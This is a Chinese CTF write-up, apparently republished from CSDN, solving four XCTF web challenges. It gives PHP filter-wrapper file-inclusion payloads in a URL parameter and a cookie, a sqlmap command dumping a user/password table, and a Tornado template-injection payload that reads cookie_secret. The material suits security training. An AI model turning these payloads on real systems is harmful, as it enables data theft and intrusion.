返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >攻防世界--fileclude && fileinclude && inget && easytornado
  • 273
分享到

攻防世界--fileclude && fileinclude && inget && easytornado

php开发语言 2023-10-03 20:10:18 273人浏览 泡泡鱼
摘要

一、fileclude

一、fileclude

PHPinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) && isset($_GET["file2"])){    $file1 = $_GET["file1"];    $file2 = $_GET["file2"];    if(!empty($file1) && !empty($file2))    {        if(file_get_contents($file2) === "hello ctf")        {            include($file1);        }    }    else        die("NONONO");} 

两个参数file1和file2
file2中包含数据file_get_contents
直接访问flag.php只显示WRONG WAY!
说明flag应该在flag.php的注释里
包含的是file1
所以

?file1=php://filter/read=convert.base64-encode/resource=flag.php

file2使用php伪协议传数据

file2=php://input

最后
Http://61.147.171.105:61741/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

然后POST数据
hello ctf
在这里插入图片描述
拿到flag
在这里插入图片描述

然后base64转码即可

二、fileinclude

注释
在这里插入图片描述
在这里插入图片描述
发现源码泄露

?phpif( !ini_get('display_errors') ) {  ini_set('display_errors', 'On');  }error_reporting(E_ALL);$lan = $_COOKIE['language'];if(!$lan){@setcookie("language","english");@include("english.php");}else{@include($lan.".php");}$x=file_get_contents('index.php');echo $x;?

发现文件包含点在COOKIE中,使用php伪协议filter的读,base64编码

COOKIE:language=php://filter/read=convert.base64-encode/resource=flag

在这里插入图片描述
base转码
在这里插入图片描述

三、inget

在这里插入图片描述
sql注入
在这里插入图片描述
在这里插入图片描述

sqlmap -u "http://61.147.171.105:54122/?id=1" -T cyber -C user,ID,pw --dump

在这里插入图片描述

四、easytornado

模板注入
在这里插入图片描述

http://61.147.171.105:57847/error?msg={{handler.settings}}

在这里插入图片描述
先把flag的filename进行md5,然后再把cookie_secret与md5后的值拼接,再md5
在这里插入图片描述
欢迎加入我的知识星球,内含有多篇赏金漏洞
某211硕在读,三分之一的白帽子,三分之一的科研er,这里适合想要学习安全的小白师傅,适合致力于挖掘漏洞的师傅,适合安全研究人员师傅,以及想要做安全科研的师傅,想要了解网络空间安全研究生生活的师傅
在这里插入图片描述

来源地址:https://blog.csdn.net/xulei1132562/article/details/126533422

--结束END--

本文标题: 攻防世界--fileclude && fileinclude && inget && easytornado

本文链接: https://lsjlt.com/news/423159.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 攻防世界--fileclude && fileinclude && inget && easytornado
    一、fileclude ...
    99+
    2023-10-03
    php 开发语言
  • 攻防世界(fileinclude)
    记录一道简单的文件包含题,攻防世界的fileinclude。 打开环境 页面给出了flag在flag.php中,明确了目标,看一下网页源码 主要部分 $lan=$_COOKIE['language'];        ==>        ...
    99+
    2023-09-14
    php 服务器 开发语言 web安全 安全
  • 攻防世界-fileclude
    一   输入的变量是language,用COOKIE传参,输出的是x 19行 @include("english.php")可以看出此处存在文件包含。include函数用php://filter伪协议来绕过 flag后面不加.php,会...
    99+
    2023-09-12
    php 开发语言
  • 攻防世界---fileclude
    打开环境   查看代码,发现包含了flag.php,如果file1和file2不为空,file2被放入了file_get_contents函数中,并且file2的返回结果为hello ctf 则可以得到flag  3.由题可知我们应该获...
    99+
    2023-09-05
    php 开发语言
  • 攻防世界fileclude
    自学的困难,一个题10个没见过的知识点,唉,太难了... ----------------------------------------------------------------------------------下面是正文。 原题...
    99+
    2023-09-09
    php 开发语言
  • 攻防世界fileinclude题解
    目录 解题思路 file_get_contents()函数 PHP伪协议 解题思路续 解题思路 先看题目   打开题目场景   我们看到用了file_get_contents()函数 这里我忘了这个函数是什么意思了...
    99+
    2023-09-03
    php 网络安全
  • 攻防世界WEB练习-fileinclude
    前言 作者简介:不知名白帽,网络安全学习者。 博客主页:https://blog.csdn.net/m0_63127854type=blog 攻防世界专栏:https://blog.csdn.net/m0_63127854/cat...
    99+
    2023-09-20
    php 开发语言
  • 攻防世界WEB练习-fileclude
    目录 题目场景 分析代码 解决思路 ​编辑 base64解码 找到flag 题目场景 分析代码 ...
    99+
    2023-09-07
    php 安全 web安全 开发语言
  • Web安全攻防世界01 fileinclude(宜兴网信办)
    问题描述: 攻防世界文件包含入门题目,参考大佬们的WP有所补充,内容对小白友好~ 原因分析: 按照惯例,首先查看源代码ctrl+u: 整理一下大概是下面这个意思(代码0基础,可能有误,欢迎留言沟通与指正~) //规定 HTML 文档的...
    99+
    2023-09-09
    php web安全
  • 攻防世界————fileclude(内含php伪协议菜鸟讲解)
    先进去发现为一坨php代码,新手勉勉强强看得懂  接下来我们分析代码 WRONG WAY! ...
    99+
    2023-09-12
    servlet 服务器 java
  • simple_php (攻防世界)
    前言: 这篇文章还是是为了帮助一些 像我这样的菜鸟 找到简单的题解 题目描述 进入网址 解题工具: 可以使用hackerbar 问题解析: 我们来分析一下代码  很明显是一段php代码 前三行可略过 和解题无关 ...
    99+
    2023-09-28
    php
  • 攻防世界unserialize3
    又来了我的攻防世界 原题:攻防世界         怎么说呢...先看一下题目吧  看到题目的时候我第一反应是无从下手,之前说过博主是个刚起步的新手而且对php不是特别了解...这真的是难度一的题嘛...不过!在查找了很多资料后我逐渐理解...
    99+
    2023-09-02
    php 开发语言
  • easyupload(攻防世界)
    文件上传,发现对文件的后缀名进行了过滤,php,phtml.php3等都不行 尝试.php. 绕过 (windows中会把后缀名最后的空格和. 省略,即上传.php.绕过后会变为.php) 又发现对上传文件的内容进行了验证,加入图片头。 ...
    99+
    2023-09-02
    php 开发语言
  • 攻防世界Web_php_include
    php文件包含题 启动场景 进行代码审计: 对get类型参数进行循环过滤字符串'php://',所以考虑其他伪协议,伪协议详见PHP伪协议详解_Snakin_ya的博客-CSDN博客 show_source() 函数 str_repla...
    99+
    2023-09-10
    php
  • baby_web (攻防世界)
    前言: 这篇文章还是是为了帮助一些 像我这样的菜鸟 找到简单的题解 题目描述 进入网址   解题工具: 一个有F12的键盘 问题解析: 题目说想想初始页面是哪个 一般都是index.php 然后如题分析即可 科普时间叒到 HTTP状态码...
    99+
    2023-09-16
    php
  • 攻防世界-unseping
    攻防世界-unseping [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iPc18GlQ-1666931905094)(data:image/png;base64,i...
    99+
    2023-09-05
    php 开发语言 python ctf
  • 攻防世界 web2
    这个题需要考察php的代码审计,需要具备一定的php知识 最后一段说这个就是思路 首先先看看代码中的几个函数 Strlen()函数   将返回字符串的长度 Strrev()函数     将字符串倒置并且返回 Substr()函...
    99+
    2023-09-08
    php web安全
  • 【攻防世界】easyphp
    废话不多说,打开环境就是一大段的php代码,对于我一个小白来说,还是难阿!只能一点点琢磨构造payload的思路,当然也是在网上参考了别人的wp。记录下来也为了加深自己的印象,有事没事都能翻一翻,温故而知新嘛。 ...
    99+
    2023-08-31
    开发语言 web安全 python php Powered by 金山文档
  • file_include(攻防世界)
     使用php://filter 发现不行,猜测应该被过滤了  继续尝试,发现read,base64,encode等关键字符被过滤了    了解到php中有两种转换器  发现string被过滤,只能使用convert了...
    99+
    2023-09-01
    php 开发语言
  • 攻防世界-file_include
    题目   访问路径获得源码 通过阅读php代码,我们明显的可以发现,这个一个文件包含的类型题 文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。 require(),找不到被包含的...
    99+
    2023-09-01
    php 安全 web安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作